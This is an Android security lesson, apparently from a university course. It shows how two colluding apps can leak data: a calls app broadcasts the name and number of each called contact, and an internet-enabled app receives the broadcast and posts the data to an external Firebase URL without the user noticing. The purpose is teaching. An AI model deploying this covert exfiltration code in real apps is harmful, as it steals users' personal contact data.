# Exploiting Vulnerabilities in Android
Introduction
============
In this lesson we will learn about a possible security vulnerability in Android. To show the vulnerability, we will see how two apparently inoffensive apps could represent a risk to the user if they are installed together.
| Micro Sprint | 13 |
| :---------------- | :--------------------------- |
| Activity Type | Lesson |
| Expected Duration | 50 minutes |
| Topic | Debugging UI |
---
Content
=========
Recommended Links:
- Retrieve contact list: https://developer.android.com/training/contactsprovider/retrieve-names.html
- Broadcasts:
https://developer.android.com/guide/components/broadcasts.html
In this lesson you will need to develop two simple apps. The first one will be a app to make phone calls; it will only show the list of contacts and allow you to make a call when you select one of the contacts. The second app will not have any functionality, but it will have the permission to access internet. The idea is to communicate both applications without the user noticing, and take the information from the first app to the second one.
### a. Calls application
Got to Android studio and create an empty app. Then, go to the manifest and add the permissions to access the contacts and make calls:
```xml
```
Now, got to the activity_main.xml file to include a ListView where the contacts are going to be display.
```xml
```
After that, go to MainActivity.java and change it to load the contacts list:
```java
import android.Manifest;
import android.app.LoaderManager;
import android.content.CursorLoader;
import android.content.Loader;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.widget.ListView;
import android.widget.SimpleCursorAdapter;
import java.util.ArrayList;
public class MainActivity extends AppCompatActivity implements LoaderManager.LoaderCallbacks{
private final static String[] FROM_COLUMNS = {
ContactsContract.Contacts.DISPLAY_NAME_PRIMARY
};
private static final String[] PROJECTION = {
ContactsContract.Contacts._ID,
ContactsContract.Contacts.LOOKUP_KEY,
ContactsContract.Contacts.HAS_PHONE_NUMBER,
ContactsContract.Contacts.DISPLAY_NAME_PRIMARY
};
private final static int[] TO_IDS = {android.R.id.text1};
private static final int MY_PERMISSIONS_REQUEST_READ_CONTACTS = 1;
private static final int MY_PERMISSIONS_REQUEST_CALL = 2;
private ListView mContactsList;
private SimpleCursorAdapter mAdapter;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
mContactsList = findViewById(R.id.list);
if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_CONTACTS)!= PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(this,
new String[]{Manifest.permission.READ_CONTACTS},
MY_PERMISSIONS_REQUEST_READ_CONTACTS);
} else {
mAdapter = new SimpleCursorAdapter( this,
android.R.layout.simple_list_item_2,
null,
FROM_COLUMNS,
TO_IDS,
0
);
mContactsList.setAdapter(mAdapter);
getLoaderManager().initLoader(0, null, this);
}
}
@Override
public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) {
if(requestCode == MY_PERMISSIONS_REQUEST_READ_CONTACTS) {
if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
mAdapter = new SimpleCursorAdapter( this,
android.R.layout.simple_list_item_2,
null,
FROM_COLUMNS,
TO_IDS,0
);
mContactsList.setAdapter(mAdapter);
getLoaderManager().initLoader(0, null, this);
} else {
//El usuario no autorizó el acceso a los contactos
}
}
}
@Override
public Loader onCreateLoader(int id, Bundle args) {
return new CursorLoader(
this,
ContactsContract.Contacts.CONTENT_URI,
PROJECTION,
null,
null,
null);
}
@Override
public void onLoadFinished(Loader loader, Cursor cursor) {
mAdapter.swapCursor(cursor);
}
@Override
public void onLoaderReset(Loader loader) {
mAdapter.swapCursor(null);
}
}
```
In this moment your application should look like this:
Now we will implement the code that allow the user to make a call. First of all, we have to change the MainActivity class so that it extends OnItemClickListener. Then, in the onCreate method associate the listener to the list:
```java
mContactsList.setOnItemClickListener(this);
```
Finally we need to implement the onItemClick method:
```java
@Override
public void onItemClick(AdapterView> parent, View view, int position, long id) {
Cursor cursor = ((SimpleCursorAdapter)parent.getAdapter()).getCursor();
cursor.moveToPosition(position);
if (Integer.parseInt(cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0){
Cursor phones = getContentResolver().query(
ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
null,
ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ id,
null,
null);
String phoneNumber = "";
String contactName = "";
while (phones.moveToNext()) {
phoneNumber = phones.getString(phones.getColumnIndex(
ContactsContract.CommonDataKinds.Phone.NUMBER));
contactName = phones.getString(phones.getColumnIndex(
ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
}
if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) {
ActivityCompat.requestPermissions(
this,
new String[]{Manifest.permission.CALL_PHONE},
MY_PERMISSIONS_REQUEST_CALL);
}
else{
Intent callIntent = new Intent(Intent.ACTION_CALL);
callIntent.setData(Uri.parse("tel:"+phoneNumber));
startActivity(callIntent);
}
phones.close();
}else{
Log.d("Tag","No number");
}
}
```
After those changes the app should behave like this:
### b. Application with access permission to internet
For the second application, create a new application in Android Studio. Add the following permission on the manifest file:
```xml
```
Then add the following line to the app build.gradle:
```gradle
implementation 'com.loopj.android:android-async-http:1.4.9'
```
### c. Connection between two applications
To connect the two applications, the first thing we need to do is to implement a BroadcastReceiver in the internet application. To do that, add a element to the AndroidManifest.xml. The attribute android:name should be the name of the BroadcastReceiver, and the intent filter specifies the name of the action to which the receiver is subscribe, it could be more than one.
```xml
```
Now, we will define the class **MyReceiver.java**. The receiver is going to get information from the calls app, and the information is going to be send through extras of an intent.
```java
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import android.widget.Toast;
import com.loopj.android.http.AsyncHttpClient;
import com.loopj.android.http.AsyncHttpResponseHandler;
import com.loopj.android.http.JsonHttpResponseHandler;
import com.loopj.android.http.RequestParams;
import org.json.JSONArray;
import cz.msebera.android.httpclient.Header;
public class MyReceiver extends BroadcastReceiver{
private static AsyncHttpClient client = new AsyncHttpClient();
@Override
public void onReceive(Context context, Intent intent) {
if(intent.getAction() != null && intent.getExtras().getString("tel") !=
null && intent.getExtras().getString("name") != null){
final String tel = intent.getExtras().getString("tel");
final String name = intent.getExtras().getString("name");
JSONObject jsonParams = new JSONObject();
jsonParams.put("name", name);
jsonParams.put("tel",tel);
StringEntity entity = new StringEntity(jsonParams.toString());
post("https://securityissuesinandroid2rea.firebaseio.com/telefonos.json",entity, new JsonHttpResponseHandler() {
@Override
public void onSuccess(int statusCode, Header[] headers, JSONArray array) {
Log.d("tel",tel);
Log.d("name",name);
}
@Override
public void onFailure(int statusCode, Header[] headers, String res, Throwable error){
Log.d("tel","fallo");
Log.d("tel",res);
}
});
}
}
public static void post(String url, StringEntity params,AsyncHttpResponseHandler responseHandler) {
client.post(null,url,null,params,"application/json",responseHandler);
}
}
```
Once you implement the BroadcastReceiver is time to modify the calls app. The calls app needs to broadcasts the name and phone number in the moment that you make a call. So, go to the onItemClick method of the MainActivity and add the following lines under the intent call:
```java
@Override
public void onItemClick(AdapterView> parent, View view, int position, long
id) {
...
Intent callIntent = new Intent(Intent.ACTION_CALL);
callIntent.setData(Uri.parse("tel:"+phoneNumber));
startActivity(callIntent);
//New lines
final Intent intent = new Intent();
intent.setAction("android.intent.action.CONTACT_CALLED");
intent.putExtra("tel",phoneNumber);
intent.putExtra("name",contactName);
sendBroadcast(intent);
...
}
```
Now, run both applications and make a call from the calls app.
What do you see on the log of the internet app?
VERSIONS
=======
| Versions | Authors | Date |
| --- | --- | --- |
| 1.0 | Maria Camila Angel | April 24, 2017
| 2.0 | Sergio Velasquez | May 1, 2018